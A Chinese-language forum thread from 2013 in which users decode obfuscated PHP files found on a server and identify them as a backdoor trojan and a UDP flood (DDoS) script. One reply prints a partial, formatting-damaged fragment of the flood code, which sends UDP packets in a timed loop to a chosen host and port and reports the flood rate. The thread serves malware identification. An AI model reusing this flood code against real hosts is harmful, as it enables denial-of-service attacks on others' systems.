帮解密下几个php文件

Captain

本帖最后由 Captain 于 2013-6-20 20:11 编辑
[ol]

[/ol]复制代码[ol]

[/ol]复制代码[ol]

[/ol]复制代码[ol]

[/ol]复制代码

Captain

一共四个，高手帮忙

woweixiazai

免费劳动力楼下

Captain

Tou 发表于 2013-6-20 20:14





我试试

cuijz

第一个是[ol]

[/ol]复制代码明显是php后门木马

Captain

cuijz 发表于 2013-6-20 20:37



第一个是明显是php后门木马
最新的php ddos函数

cuijz

第2个是php ddos[ol]

0){

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];

                exit;

            }

        echo "Parameters can not be empty!";

        exit;

    }

for($i=0;$i $max_time){

        break;

    }

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);

        if($fp){

            fwrite($fp, $out);

            fclose($fp);

    }

}

echo "Send Host：$host:$port
";

echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";

echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

?>[/ol]复制代码

elves766

看不懂 路过

Captain莫桑比特

cuijz 发表于 2013-6-20 20:55



第2个是php ddos
最新的函数用上tcp了，难防御了还是IIS配置比较好防御

过客

Captain 发表于 2013-6-20 20:12



一共四个，高手帮忙
把eval改成echo，马上出原形。